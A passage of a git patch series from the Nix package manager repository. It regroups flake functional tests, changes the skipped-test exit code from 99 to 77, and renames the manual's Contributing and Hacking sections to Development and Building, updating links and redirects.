bb64a104e..d3ea8513d 100644 --- a/Makefile +++ b/Makefile @@ -54,6 +54,7 @@ ifeq ($(ENABLE_FUNCTIONAL_TESTS), yes) ifdef HOST_UNIX makefiles += \ tests/functional/local.mk \ + tests/functional/flakes/local.mk \ tests/functional/ca/local.mk \ tests/functional/git-hashing/local.mk \ tests/functional/dyn-drv/local.mk \ diff --git a/tests/functional/flakes/local.mk b/tests/functional/flakes/local.mk new file mode 100644 index 000000000..71e50ad07 --- /dev/null +++ b/tests/functional/flakes/local.mk @@ -0,0 +1,24 @@ +flake-tests := \ + $(d)/flakes.sh \ + $(d)/develop.sh \ + $(d)/edit.sh \ + $(d)/run.sh \ + $(d)/mercurial.sh \ + $(d)/circular.sh \ + $(d)/init.sh \ + $(d)/inputs.sh \ + $(d)/follow-paths.sh \ + $(d)/bundle.sh \ + $(d)/check.sh \ + $(d)/unlocked-override.sh \ + $(d)/absolute-paths.sh \ + $(d)/absolute-attr-paths.sh \ + $(d)/build-paths.sh \ + $(d)/flake-in-submodule.sh \ + $(d)/prefetch.sh \ + $(d)/eval-cache.sh \ + $(d)/search-root.sh \ + $(d)/config.sh \ + $(d)/show.sh + +install-tests-groups += flake diff --git a/tests/functional/local.mk b/tests/functional/local.mk index 797002e92..8b4945cac 100644 --- a/tests/functional/local.mk +++ b/tests/functional/local.mk @@ -1,23 +1,5 @@ nix_tests = \ test-infra.sh \ - flakes/flakes.sh \ - flakes/develop.sh \ - flakes/edit.sh \ - flakes/run.sh \ - flakes/mercurial.sh \ - flakes/circular.sh \ - flakes/init.sh \ - flakes/inputs.sh \ - flakes/follow-paths.sh \ - flakes/bundle.sh \ - flakes/check.sh \ - flakes/unlocked-override.sh \ - flakes/absolute-paths.sh \ - flakes/absolute-attr-paths.sh \ - flakes/build-paths.sh \ - flakes/flake-in-submodule.sh \ - flakes/prefetch.sh \ - flakes/eval-cache.sh \ gc.sh \ nix-collect-garbage-d.sh \ remote-store.sh \ @@ -61,7 +43,6 @@ nix_tests = \ restricted.sh \ fetchGitSubmodules.sh \ fetchGitVerification.sh \ - flakes/search-root.sh \ readfile-context.sh \ nix-channel.sh \ recursive.sh \ @@ -102,7 +83,6 @@ nix_tests = \ nix-copy-ssh-ng.sh \ post-hook.sh \ function-trace.sh \ - flakes/config.sh \ fmt.sh \ eval-store.sh \ why-depends.sh \ @@ -125,7 +105,6 @@ nix_tests = \ store-info.sh \ fetchClosure.sh \ completions.sh \ - flakes/show.sh \ impure-derivations.sh \ path-from-hash-part.sh \ path-info.sh \ From dcbe2453f536464a4747c20a057df3ea93c0c400 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Wed, 24 Jul 2024 22:36:43 -0400 Subject: [PATCH 1187/1251] Change skipped test error code from 99 to 77 Meson uses a venerable GNU convention described in https://www.gnu.org/software/automake/manual/html_node/Scripts_002dbased-Testsuites.html in which: > When no test protocol is in use, an exit status of 0 from a test > script will denote a success, an exit status of 77 a skipped test, an > exit status of 99 a hard error, and any other exit status will denote > a failure. 77 is thus what we want, not 99. --- mk/run-test.sh | 2 +- tests/functional/common/vars-and-functions.sh | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/mk/run-test.sh b/mk/run-test.sh index 543c845e1..7f9f1d5f8 100755 --- a/mk/run-test.sh +++ b/mk/run-test.sh @@ -28,7 +28,7 @@ run_test if [[ "$status" = 0 ]]; then echo "$post_run_msg [${green}PASS$normal]" -elif [[ "$status" = 99 ]]; then +elif [[ "$status" = 77 ]]; then echo "$post_run_msg [${yellow}SKIP$normal]" else echo "$post_run_msg [${red}FAIL$normal]" diff --git a/tests/functional/common/vars-and-functions.sh b/tests/functional/common/vars-and-functions.sh index 4316a30d5..6a0988f12 100644 --- a/tests/functional/common/vars-and-functions.sh +++ b/tests/functional/common/vars-and-functions.sh @@ -190,7 +190,7 @@ isDaemonNewer () { skipTest () { echo "$1, skipping this test..." >&2 - exit 99 + exit 77 } TODO_NixOS() { From a2fed6db9e6ec0ce8441d16bec0752b420dd49e9 Mon Sep 17 00:00:00 2001 From: Valentin Gagarin Date: Thu, 25 Jul 2024 04:53:06 +0200 Subject: [PATCH 1188/1251] manual: Contributing -> Development, Hacking -> Building (#9014) * manual: Contributing -> Development, Hacking -> Building what's currently called "hacking" are really instructions for setting up a development environment and compiling from source. we have a contribution guide in the repo (which rightly focuses on GitHub workflows), and the material in the manual is more about working on the code itself. since we'd otherwise have three headings that amount to "Building Nix", this change also moves the "classic Nix" instructions to the top. we may want to reorganise this in the future, and bring contributor-oriented information closer to the code, but for now let's stick to more accurate names to ease navigation. --- CONTRIBUTING.md | 8 +- README.md | 7 +- doc/manual/generate-builtins.nix | 2 +- doc/manual/generate-manpage.nix | 2 +- doc/manual/generate-settings.nix | 4 +- doc/manual/generate-store-info.nix | 4 +- doc/manual/generate-xp-features-shortlist.nix | 2 +- doc/manual/local.mk | 8 +- doc/manual/redirects.js | 11 +- doc/manual/src/SUMMARY.md.in | 17 +- doc/manual/src/_redirects | 10 +- doc/manual/src/c-api.md | 2 +- .../src/command-ref/experimental-commands.md | 2 +- .../src/command-ref/nix-store/realise.md | 2 +- .../hacking.md => development/building.md} | 181 +++++------------- .../cli-guideline.md | 0 doc/manual/src/development/contributing.md | 79 ++++++++ .../src/{contributing => development}/cxx.md | 0 .../documentation.md | 2 +- .../experimental-features.md | 0 .../{contributing => development}/index.md | 2 +- .../json-guideline.md | 0 .../{contributing => development}/testing.md | 0 doc/manual/src/glossary.md | 4 +- .../src/installation/installing-binary.md | 2 +- .../src/language/advanced-attributes.md | 10 +- doc/manual/src/protocols/derivation-aterm.md | 4 +- doc/manual/src/protocols/json/derivation.md | 2 +- .../src/protocols/json/store-object-info.md | 2 +- doc/manual/src/release-notes/rl-2.18.md | 4 +- doc/manual/src/release-notes/rl-2.19.md | 6 +- doc/manual/src/release-notes/rl-2.23.md | 4 +- doc/manual/src/release-notes/rl-2.4.md | 2 +- .../file-system-object/content-address.md | 2 +- .../src/store/store-object/content-address.md | 2 +- src/libexpr/eval-settings.hh | 2 +- src/libexpr/primops/fetchTree.cc | 10 +- src/libstore/globals.hh | 6 +- src/libutil/config.hh | 2 +- src/nix/nix.md | 6 +- 40 files changed, 214 insertions(+), 201 deletions(-) rename doc/manual/src/{contributing/hacking.md => development/building.md} (74%) rename doc/manual/src/{contributing => development}/cli-guideline.md (100%) create mode 100644 doc/manual/src/development/contributing.md rename doc/manual/src/{contributing => development}/cxx.md (100%) rename doc/manual/src/{contributing => development}/documentation.md (99%) rename doc/manual/src/{contributing => development}/experimental-features.md (100%) rename doc/manual/src/{contributing => development}/index.md (77%) rename doc/manual/src/{contributing => development}/json-guideline.md (100%) rename doc/manual/src/{contributing => development}/testing.md (100%) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 38f5d43b7..12423366a 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -41,9 +41,9 @@ Check out the [security policy](https://github.com/NixOS/nix/security/policy). There are many open pull requests that might already do what you intend to work on. You can use [labels](https://github.com/NixOS/nix/labels) to filter for relevant topics. -3. Check the [Nix reference manual](https://nixos.org/manual/nix/unstable/contributing/hacking.html) for information on building Nix and running its tests. +3. Check the [Nix reference manual](https://nix.dev/manual/nix/development/development/building.html) for information on building Nix and running its tests. - For contributions to the command line interface, please check the [CLI guidelines](https://nixos.org/manual/nix/unstable/contributing/cli-guideline.html). + For contributions to the command line interface, please check the [CLI guidelines](https://nix.dev/manual/nix/development/development/cli-guideline.html). 4. Make your change! @@ -69,7 +69,7 @@ Check out the [security policy](https://github.com/NixOS/nix/security/policy). - [ ] API documentation in header files - [ ] Code and comments are self-explanatory - [ ] Commit message explains **why** the change was made - - [ ] New feature or incompatible change: [add a release note](https://nixos.org/manual/nix/stable/contributing/hacking#add-a-release-note) + - [ ] New feature or incompatible change: [add a release note](https://nix.dev/manual/nix/development/development/contributing.html#add-a-release-note) 7. If you need additional feedback or help to getting pull request into shape, ask other contributors using [@mentions](https://docs.github.com/en/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#mentioning-people-and-teams). @@ -78,7 +78,7 @@ Check out the [security policy](https://github.com/NixOS/nix/security/policy). The Nix reference manual is hosted on https://nixos.org/manual/nix. The underlying source files are located in [`doc/manual/src`](./doc/manual/src). For small changes you can [use GitHub to edit these files](https://docs.github.com/en/repositories/working-with-files/managing-files/editing-files) -For larger changes see the [Nix reference manual](https://nixos.org/manual/nix/unstable/contributing/hacking.html). +For larger changes see the [Nix reference manual](https://nix.dev/manual/nix/development/development/contributing.html). ## Getting help diff --git a/README.md b/README.md index 931a60bba..ab647e53b 100644 --- a/README.md +++ b/README.md @@ -4,19 +4,18 @@ [![Test](https://github.com/NixOS/nix/workflows/Test/badge.svg)](https://github.com/NixOS/nix/actions) Nix is a powerful package manager for Linux and other Unix systems that makes package -management reliable and reproducible. Please refer to the [Nix manual](https://nixos.org/nix/manual) +management reliable and reproducible. Please refer to the [Nix manual](https://nix.dev/reference/nix-manual) for more details. ## Installation and first steps Visit [nix.dev](https://nix.dev) for [installation instructions](https://nix.dev/tutorials/install-nix) and [beginner tutorials](https://nix.dev/tutorials/first-steps). -Full reference documentation can be found in the [Nix manual](https://nixos.org/nix/manual). +Full reference documentation can be found in the [Nix manual](https://nix.dev/reference/nix-manual). ## Building and developing -See our [Hacking guide](https://nixos.org/manual/nix/unstable/contributing/hacking.html) in our manual for instruction on how to - set up a development environment and build Nix from source. +Follow instructions in the Nix reference manual to [set up a development environment and build Nix from source](https://nix.dev/manual/nix/development/development/building.html). ## Contributing diff --git a/doc/manual/generate-builtins.nix b/doc/manual/generate-builtins.nix index 13de6c397..37ed12a43 100644 --- a/doc/manual/generate-builtins.nix +++ b/doc/manual/generate-builtins.nix @@ -12,7 +12,7 @@ let experimentalNotice = optionalString (experimental-feature != null) '' > **Note** > - > This function is only available if the [`${experimental-feature}` experimental feature](@docroot@/contributing/experimental-features.md#xp-feature-${experimental-feature}) is enabled. + > This function is only available if the [`${experimental-feature}` experimental feature](@docroot@/development/experimental-features.md#xp-feature-${experimental-feature}) is enabled. > > For example, include the following in [`nix.conf`](@docroot@/command-ref/conf-file.md): > diff --git a/doc/manual/generate-manpage.nix b/doc/manual/generate-manpage.nix index 90eaa1a73..791bfd2c7 100644 --- a/doc/manual/generate-manpage.nix +++ b/doc/manual/generate-manpage.nix @@ -38,7 +38,7 @@ let result = '' > **Warning** \ > This program is - > [**experimental**](@docroot@/contributing/experimental-features.md#xp-feature-nix-command) + > [**experimental**](@docroot@/development/experimental-features.md#xp-feature-nix-command) > and its interface is subject to change. # Name diff --git a/doc/manual/generate-settings.nix b/doc/manual/generate-settings.nix index 504cda362..93a8e093e 100644 --- a/doc/manual/generate-settings.nix +++ b/doc/manual/generate-settings.nix @@ -33,10 +33,10 @@ let > **Warning** > > This setting is part of an - > [experimental feature](@docroot@/contributing/experimental-features.md). + > [experimental feature](@docroot@/development/experimental-features.md). > > To change this setting, make sure the - > [`${experimentalFeature}` experimental feature](@docroot@/contributing/experimental-features.md#xp-feature-${experimentalFeature}) + > [`${experimentalFeature}` experimental feature](@docroot@/development/experimental-features.md#xp-feature-${experimentalFeature}) > is enabled. > For example, include the following in [`nix.conf`](@docroot@/command-ref/conf-file.md): > diff --git a/doc/manual/generate-store-info.nix b/doc/manual/generate-store-info.nix index c311c3c39..cc3704124 100644 --- a/doc/manual/generate-store-info.nix +++ b/doc/manual/generate-store-info.nix @@ -32,10 +32,10 @@ let > **Warning** > > This store is part of an - > [experimental feature](@docroot@/contributing/experimental-features.md). + > [experimental feature](@docroot@/development/experimental-features.md). > > To use this store, make sure the - > [`${experimentalFeature}` experimental feature](@docroot@/contributing/experimental-features.md#xp-feature-${experimentalFeature}) + > [`${experimentalFeature}` experimental feature](@docroot@/development/experimental-features.md#xp-feature-${experimentalFeature}) > is enabled. > For example, include the following in [`nix.conf`](@docroot@/command-ref/conf-file.md): > diff --git a/doc/manual/generate-xp-features-shortlist.nix b/doc/manual/generate-xp-features-shortlist.nix index ec09f4b75..eb735ba5f 100644 --- a/doc/manual/generate-xp-features-shortlist.nix +++ b/doc/manual/generate-xp-features-shortlist.nix @@ -4,6 +4,6 @@ with import ; let showExperimentalFeature = name: doc: '' - - [`${name}`](@docroot@/contributing/experimental-features.md#xp-feature-${name}) + - [`${name}`](@docroot@/development/experimental-features.md#xp-feature-${name}) ''; in xps: indent " " (concatStrings (attrValues (mapAttrs showExperimentalFeature xps))) diff --git a/doc/manual/local.mk b/doc/manual/local.mk index 0cec52885..fcc50f460 100644 --- a/doc/manual/local.mk +++ b/doc/manual/local.mk @@ -95,7 +95,7 @@ $(d)/nix-profiles.5: $(d)/src/command-ref/files/profiles.md $(trace-gen) lowdown -sT man --nroff-nolinks -M section=5 $^.tmp -o $@ @rm $^.tmp -$(d)/src/SUMMARY.md: $(d)/src/SUMMARY.md.in $(d)/src/SUMMARY-rl-next.md $(d)/src/store/types $(d)/src/command-ref/new-cli $(d)/src/contributing/experimental-feature-descriptions.md +$(d)/src/SUMMARY.md: $(d)/src/SUMMARY.md.in $(d)/src/SUMMARY-rl-next.md $(d)/src/store/types $(d)/src/command-ref/new-cli $(d)/src/development/experimental-feature-descriptions.md @cp $< $@ @$(call process-includes,$@,$@) @@ -124,7 +124,7 @@ $(d)/conf-file.json: $(doc_nix) $(trace-gen) $(dummy-env) $(doc_nix) config show --json --experimental-features nix-command > $@.tmp @mv $@.tmp $@ -$(d)/src/contributing/experimental-feature-descriptions.md: $(d)/xp-features.json $(d)/utils.nix $(d)/generate-xp-features.nix $(doc_nix) +$(d)/src/development/experimental-feature-descriptions.md: $(d)/xp-features.json $(d)/utils.nix $(d)/generate-xp-features.nix $(doc_nix) @rm -rf $@ $@.tmp $(trace-gen) $(nix-eval) --write-to $@.tmp --expr 'import doc/manual/generate-xp-features.nix (builtins.fromJSON (builtins.readFile $<))' @mv $@.tmp $@ @@ -207,11 +207,11 @@ doc/manual/generated/man1/nix3-manpages: $(d)/src/command-ref/new-cli done @touch $@ -# the `! -name 'contributing.md'` filter excludes the one place where +# the `! -name 'documentation.md'` filter excludes the one place where # `@docroot@` is to be preserved for documenting the mechanism # FIXME: maybe contributing guides should live right next to the code # instead of in the manual -$(docdir)/manual/index.html: $(MANUAL_SRCS) $(d)/book.toml $(d)/anchors.jq $(d)/custom.css $(d)/src/SUMMARY.md $(d)/src/store/types $(d)/src/command-ref/new-cli $(d)/src/contributing/experimental-feature-descriptions.md $(d)/src/command-ref/conf-file.md $(d)/src/language/builtins.md $(d)/src/release-notes/rl-next.md $(d)/src/figures $(d)/src/favicon.png $(d)/src/favicon.svg +$(docdir)/manual/index.html: $(MANUAL_SRCS) $(d)/book.toml $(d)/anchors.jq $(d)/custom.css $(d)/src/SUMMARY.md $(d)/src/store/types $(d)/src/command-ref/new-cli $(d)/src/development/experimental-feature-descriptions.md $(d)/src/command-ref/conf-file.md $(d)/src/language/builtins.md $(d)/src/release-notes/rl-next.md $(d)/src/figures $(d)/src/favicon.png $(d)/src/favicon.svg $(trace-gen) \ tmp="$$(mktemp -d)"; \ cp -r doc/manual "$$tmp"; \ diff --git a/doc/manual/redirects.js b/doc/manual/redirects.js index 0f9f91b03..beef6ef4a 100644 --- a/doc/manual/redirects.js +++ b/doc/manual/redirects.js @@ -143,7 +143,7 @@ const redirects = { "opt-timeout": "command-ref/opt-common.html#opt-timeout", "sec-common-options": "command-ref/opt-common.html", "ch-utilities": "command-ref/utilities.html", - "chap-hacking": "contributing/hacking.html", + "chap-hacking": "development/building.html", "adv-attr-allowSubstitutes": "language/advanced-attributes.html#adv-attr-allowSubstitutes", "adv-attr-allowedReferences": "language/advanced-attributes.html#adv-attr-allowedReferences", "adv-attr-allowedRequisites": "language/advanced-attributes.html#adv-attr-allowedRequisites", @@ -350,7 +350,7 @@ const redirects = { "macos": "uninstall.html#macos", "uninstalling": "uninstall.html", }, - "contributing/hacking.html": { + "development/building.html": { "nix-with-flakes": "#building-nix-with-flakes", "classic-nix": "#building-nix", "running-tests": "testing.html#running-tests", @@ -361,7 +361,12 @@ const redirects = { "installer-tests": "testing.html#installer-tests", "one-time-setup": "testing.html#one-time-setup", "using-the-ci-generated-installer-for-manual-testing": "testing.html#using-the-ci-generated-installer-for-manual-testing", - "characterization-testing": "#characterisation-testing-unit", + "characterization-testing": "testing.html#characterisation-testing-unit", + "add-a-release-note": "contributing.html#add-a-release-note", + "add-an-entry": "contributing.html#add-an-entry", + "build-process": "contributing.html#build-process", + "reverting": "contributing.html#reverting", + "branches": "contributing.html#branches", }, "glossary.html": { "gloss-local-store": "store/types/local-store.html", diff --git a/doc/manual/src/SUMMARY.md.in b/doc/manual/src/SUMMARY.md.in index b4dd277e3..3918faeb2 100644 --- a/doc/manual/src/SUMMARY.md.in +++ b/doc/manual/src/SUMMARY.md.in @@ -116,14 +116,15 @@ - [Derivation "ATerm" file format](protocols/derivation-aterm.md) - [C API](c-api.md) - [Glossary](glossary.md) -- [Contributing](contributing/index.md) - - [Hacking](contributing/hacking.md) - - [Testing](contributing/testing.md) - - [Documentation](contributing/documentation.md) - - [Experimental Features](contributing/experimental-features.md) - - [CLI guideline](contributing/cli-guideline.md) - - [JSON guideline](contributing/json-guideline.md) - - [C++ style guide](contributing/cxx.md) +- [Development](development/index.md) + - [Building](development/building.md) + - [Testing](development/testing.md) + - [Documentation](development/documentation.md) + - [CLI guideline](development/cli-guideline.md) + - [JSON guideline](development/json-guideline.md) + - [C++ style guide](development/cxx.md) + - [Experimental Features](development/experimental-features.md) + - [Contributing](development/contributing.md) - [Releases](release-notes/index.md) {{#include ./SUMMARY-rl-next.md}} - [Release 2.23 (2024-06-03)](release-notes/rl-2.23.md) diff --git a/doc/manual/src/_redirects b/doc/manual/src/_redirects index 578c48f06..07b3130f9 100644 --- a/doc/manual/src/_redirects +++ b/doc/manual/src/_redirects @@ -20,7 +20,15 @@ /command-ref/command-ref /command-ref 301! -/contributing/contributing /contributing 301! +/contributing/contributing /development 301! +/contributing /development 301! +/contributing/hacking /development/building 301! +/contributing/testing /development/testing 301! +/contributing/documentation /development/documentation 301! +/contributing/experimental-features /development/experimental-features 301! +/contributing/cli-guideline /development/cli-guideline 301! +/contributing/json-guideline /development/json-guideline 301! +/contributing/cxx /development/cxx 301! /expressions/expression-language /language/ 301! /expressions/language-constructs /language/constructs 301! diff --git a/doc/manual/src/c-api.md b/doc/manual/src/c-api.md index 29df0b644..0cdd83832 100644 --- a/doc/manual/src/c-api.md +++ b/doc/manual/src/c-api.md @@ -10,7 +10,7 @@ See: - [Matrix Room *Nix Bindings*](https://matrix.to/#/#nix-bindings:nixos.org) for discussion and questions. - [Stabilisation Milestone](https://github.com/NixOS/nix/milestone/52) - [Other C API PRs and issues](https://github.com/NixOS/nix/labels/c%20api) -- [Contributing C API Documentation](contributing/documentation.md#c-api-documentation), including how to build it locally. +- [Contributing C API Documentation](development/documentation.md#c-api-documentation), including how to build it locally. [Getting Started]: https://hydra.nixos.org/job/nix/master/external-api-docs/latest/download-by-type/doc/external-api-docs [Index]: https://hydra.nixos.org/job/nix/master/external-api-docs/latest/download-by-type/doc/external-api-docs/globals.html diff --git a/doc/manual/src/command-ref/experimental-commands.md b/doc/manual/src/command-ref/experimental-commands.md index 286ddc6d6..1190729a2 100644 --- a/doc/manual/src/command-ref/experimental-commands.md +++ b/doc/manual/src/command-ref/experimental-commands.md @@ -1,6 +1,6 @@ # Experimental Commands -This section lists [experimental commands](@docroot@/contributing/experimental-features.md#xp-feature-nix-command). +This section lists [experimental commands](@docroot@/development/experimental-features.md#xp-feature-nix-command). > **Warning** > diff --git a/doc/manual/src/command-ref/nix-store/realise.md b/doc/manual/src/command-ref/nix-store/realise.md index e30b351a4..a899758df 100644 --- a/doc/manual/src/command-ref/nix-store/realise.md +++ b/doc/manual/src/command-ref/nix-store/realise.md @@ -32,7 +32,7 @@ If no substitutes are available and no store derivation is given, realisation fa [store objects]: @docroot@/store/store-object.md [closure]: @docroot@/glossary.md#gloss-closure [substituters]: @docroot@/command-ref/conf-file.md#conf-substituters -[content-addressed derivations]: @docroot@/contributing/experimental-features.md#xp-feature-ca-derivations +[content-addressed derivations]: @docroot@/development/experimental-features.md#xp-feature-ca-derivations [Nix database]: @docroot@/glossary.md#gloss-nix-database The resulting paths are printed on standard output. diff --git a/doc/manual/src/contributing/hacking.md b/doc/manual/src/development/building.md similarity index 74% rename from doc/manual/src/contributing/hacking.md rename to doc/manual/src/development/building.md index c128515e9..5a5fb3368 100644 --- a/doc/manual/src/contributing/hacking.md +++ b/doc/manual/src/development/building.md @@ -1,24 +1,67 @@ -# Hacking +# Building Nix -This section provides some notes on how to hack on Nix. To get the -latest version of Nix from GitHub: +This section provides some notes on how to start hacking on Nix. +To get the latest version of Nix from GitHub: ```console $ git clone https://github.com/NixOS/nix.git $ cd nix ``` -The following instructions assume you already have some version of Nix installed locally, so that you can use it to set up the development environment. If you don't have it installed, follow the [installation instructions]. +> **Note** +> +> The following instructions assume you already have some version of Nix installed locally, so that you can use it to set up the development environment. +> If you don't have it installed, follow the [installation instructions](../installation/index.md). -[installation instructions]: ../installation/index.md + +To build all dependencies and start a shell in which all environment variables are set up so that those dependencies can be found: + +```console +$ nix-shell +``` + +To get a shell with one of the other [supported compilation environments](#compilation-environments): + +```console +$ nix-shell --attr devShells.x86_64-linux.native-clangStdenvPackages +``` + +> **Note** +> +> You can use `native-ccacheStdenvPackages` to drastically improve rebuild time. +> By default, [ccache](https://ccache.dev) keeps artifacts in `~/.cache/ccache/`. + +To build Nix itself in this shell: + +```console +[nix-shell]$ autoreconfPhase +[nix-shell]$ ./configure $configureFlags --prefix=$(pwd)/outputs/out +[nix-shell]$ make -j $NIX_BUILD_CORES +``` + +To install it in `$(pwd)/outputs` and test it: + +```console +[nix-shell]$ make install +[nix-shell]$ make installcheck -j $NIX_BUILD_CORES +[nix-shell]$ ./outputs/out/bin/nix --version +nix (Nix) 2.12 +``` + +To build a release version of Nix for the current operating system and CPU architecture: + +```console +$ nix-build +``` + +You can also build Nix for one of the [supported platforms](#platforms). ## Building Nix with flakes This section assumes you are using Nix with the [`flakes`] and [`nix-command`] experimental features enabled. -See the [Building Nix](#building-nix) section for equivalent instructions using stable Nix interfaces. -[`flakes`]: @docroot@/contributing/experimental-features.md#xp-feature-flakes -[`nix-command`]: @docroot@/contributing/experimental-features.md#xp-nix-command +[`flakes`]: @docroot@/development/experimental-features.md#xp-feature-flakes +[`nix-command`]: @docroot@/development/experimental-features.md#xp-nix-command To build all dependencies and start a shell in which all environment variables are set up so that those dependencies can be found: @@ -67,50 +110,6 @@ $ nix build You can also build Nix for one of the [supported platforms](#platforms). -## Building Nix - -To build all dependencies and start a shell in which all environment variables are set up so that those dependencies can be found: - -```console -$ nix-shell -``` - -To get a shell with one of the other [supported compilation environments](#compilation-environments): - -```console -$ nix-shell --attr devShells.x86_64-linux.native-clangStdenvPackages -``` - -> **Note** -> -> You can use `native-ccacheStdenvPackages` to drastically improve rebuild time. -> By default, [ccache](https://ccache.dev) keeps artifacts in `~/.cache/ccache/`. - -To build Nix itself in this shell: - -```console -[nix-shell]$ autoreconfPhase -[nix-shell]$ ./configure $configureFlags --prefix=$(pwd)/outputs/out -[nix-shell]$ make -j $NIX_BUILD_CORES -``` - -To install it in `$(pwd)/outputs` and test it: - -```console -[nix-shell]$ make install -[nix-shell]$ make installcheck -j $NIX_BUILD_CORES -[nix-shell]$ ./outputs/out/bin/nix --version -nix (Nix) 2.12 -``` - -To build a release version of Nix for the current operating system and CPU architecture: - -```console -$ nix-build -``` - -You can also build Nix for one of the [supported platforms](#platforms). - ## Makefile variables You may need `profiledir=$out/etc/profile.d` and `sysconfdir=$out/etc` to run `make install`. @@ -294,81 +293,3 @@ If it fails, run `git add --patch` to approve the suggestions _and commit again_ To refresh pre-commit hook's config file, do the following: 1. Exit the development shell and start it again by running `nix develop`. 2. If you also use the pre-commit hook, also run `pre-commit-hooks-install` again. - -## Add a release note - -`doc/manual/rl-next` contains release notes entries for all unreleased changes. - -User-visible changes should come with a release note. - -### Add an entry - -Here's what a complete entry looks like. The file name is not incorporated in the document. - -``` ---- -synopsis: Basically a title -issues: 1234 -prs: 1238 ---- - -Here's one or more paragraphs that describe the change. - -- It's markdown -- Add references to the manual using @docroot@ -``` - -Significant changes should add the following header, which moves them to the top. - -``` -significance: significant -``` - - -See also the [format documentation](https://github.com/haskell/cabal/blob/master/CONTRIBUTING.md#changelog). - -### Build process - -Releases have a precomputed `rl-MAJOR.MINOR.md`, and no `rl-next.md`. - -## Branches - -- [`master`](https://github.com/NixOS/nix/commits/master) - - The main development branch. All changes are approved and merged here. - When developing a change, create a branch based on the latest `master`. - - Maintainers try to [keep it in a release-worthy state](#reverting). - -- [`maintenance-*.*`](https://github.com/NixOS/nix/branches/all?query=maintenance) - - These branches are the subject of backports only, and are - also [kept](#reverting) in a release-worthy state. - - See [`maintainers/backporting.md`](https://github.com/NixOS/nix/blob/master/maintainers/backporting.md) - -- [`latest-release`](https://github.com/NixOS/nix/tree/latest-release) - - The latest patch release of the latest minor version. - - See [`maintainers/release-process.md`](https://github.com/NixOS/nix/blob/master/maintainers/release-process.md) - -- [`backport-*-to-*`](https://github.com/NixOS/nix/branches/all?query=backport) - - Generally branches created by the backport action. - - See [`maintainers/backporting.md`](https://github.com/NixOS/nix/blob/master/maintainers/backporting.md) - -- [_other_](https://github.com/NixOS/nix/branches/all) - - Branches that do not conform to the above patterns should be feature branches. - -## Reverting - -If a change turns out to be merged by mistake, or contain a regression, it may be reverted. -A revert is not a rejection of the contribution, but merely part of an effective development process. -It makes sure that development keeps running smoothly, with minimal uncertainty, and less overhead. -If maintainers have to worry too much about avoiding reverts, they would not be able to merge as much. -By embracing reverts as a good part of the development process, everyone wins. - -However, taking a step back may be frustrating, so maintainers will be extra supportive on the next try. diff --git a/doc/manual/src/contributing/cli-guideline.md b/doc/manual/src/development/cli-guideline.md similarity index 100% rename from doc/manual/src/contributing/cli-guideline.md rename to doc/manual/src/development/cli-guideline.md diff --git a/doc/manual/src/development/contributing.md b/doc/manual/src/development/contributing.md new file mode 100644 index 000000000..7de7489dc --- /dev/null +++ b/doc/manual/src/development/contributing.md @@ -0,0 +1,79 @@ +# Contributing + +## Add a release note + +`doc/manual/rl-next` contains release notes entries for all unreleased changes. + +User-visible changes should come with a release note. + +### Add an entry + +Here's what a complete entry looks like. The file name is not incorporated in the document. + +``` +--- +synopsis: Basically a title +issues: 1234 +prs: 1238 +--- + +Here's one or more paragraphs that describe the change. + +- It's markdown +- Add references to the manual using @docroot@ +``` + +Significant changes should add the following header, which moves them to the top. + +``` +significance: significant +``` + + +See also the [format documentation](https://github.com/haskell/cabal/blob/master/CONTRIBUTING.md#changelog). + +### Build process + +Releases have a precomputed `rl-MAJOR.MINOR.md`, and no `rl-next.md`. + +## Branches + +- [`master`](https://github.com/NixOS/nix/commits/master) + + The main development branch. All changes are approved and merged here. + When developing a change, create a branch based on the latest `master`. + + Maintainers try to [keep it in a release-worthy state](#reverting). + +- [`maintenance-*.*`](https://github.com/NixOS/nix/branches/all?query=maintenance) + + These branches are the subject of backports only, and are + also [kept](#reverting) in a release-worthy state. + + See [`maintainers/backporting.md`](https://github.com/NixOS/nix/blob/master/maintainers/backporting.md) + +- [`latest-release`](https://github.com/NixOS/nix/tree/latest-release) + + The latest patch release of the latest minor version. + + See [`maintainers/release-process.md`](https://github.com/NixOS/nix/blob/master/maintainers/release-process.md) + +- [`backport-*-to-*`](https://github.com/NixOS/nix/branches/all?query=backport) + + Generally branches created by the backport action. + + See [`maintainers/backporting.md`](https://github.com/NixOS/nix/blob/master/maintainers/backporting.md) + +- [_other_](https://github.com/NixOS/nix/branches/all) + + Branches that do not conform to the above patterns should be feature branches. + +## Reverting + +If a change turns out to be merged by mistake, or contain a regression, it may be reverted. +A revert is not a rejection of the contribution, but merely part of an effective development process. +It makes sure that development keeps running smoothly, with minimal uncertainty, and less overhead. +If maintainers have to worry too much about avoiding reverts, they would not be able to merge as much. +By embracing reverts as a good part of the development process, everyone wins. + +However, taking a step back may be frustrating, so maintainers will be extra supportive on the next try. diff --git a/doc/manual/src/contributing/cxx.md b/doc/manual/src/development/cxx.md similarity index 100% rename from doc/manual/src/contributing/cxx.md rename to doc/manual/src/development/cxx.md diff --git a/doc/manual/src/contributing/documentation.md b/doc/manual/src/development/documentation.md similarity index 99% rename from doc/manual/src/contributing/documentation.md rename to doc/manual/src/development/documentation.md index a14ecedd6..63f574ab7 100644 --- a/doc/manual/src/contributing/documentation.md +++ b/doc/manual/src/development/documentation.md @@ -24,7 +24,7 @@ nix build .#^doc and open `./result-doc/share/doc/nix/manual/index.html`. -To build the manual incrementally, [enter the development shell](./hacking.md) and run: +To build the manual incrementally, [enter the development shell](./building.md) and run: ```console make manual-html-open -j $NIX_BUILD_CORES diff --git a/doc/manual/src/contributing/experimental-features.md b/doc/manual/src/development/experimental-features.md similarity index 100% rename from doc/manual/src/contributing/experimental-features.md rename to doc/manual/src/development/experimental-features.md diff --git a/doc/manual/src/contributing/index.md b/doc/manual/src/development/index.md similarity index 77% rename from doc/manual/src/contributing/index.md rename to doc/manual/src/development/index.md index 4d55c17a4..6403c3e66 100644 --- a/doc/manual/src/contributing/index.md +++ b/doc/manual/src/development/index.md @@ -5,4 +5,4 @@ Check the [contributing guide](https://github.com/NixOS/nix/blob/master/CONTRIBU This chapter is a collection of guides for making changes to the code and documentation. -If you're not sure where to start, try to [compile Nix from source](./hacking.md) and consider [making improvements to documentation](./documentation.md). +If you're not sure where to start, try to [compile Nix from source](./building.md) and consider [making improvements to 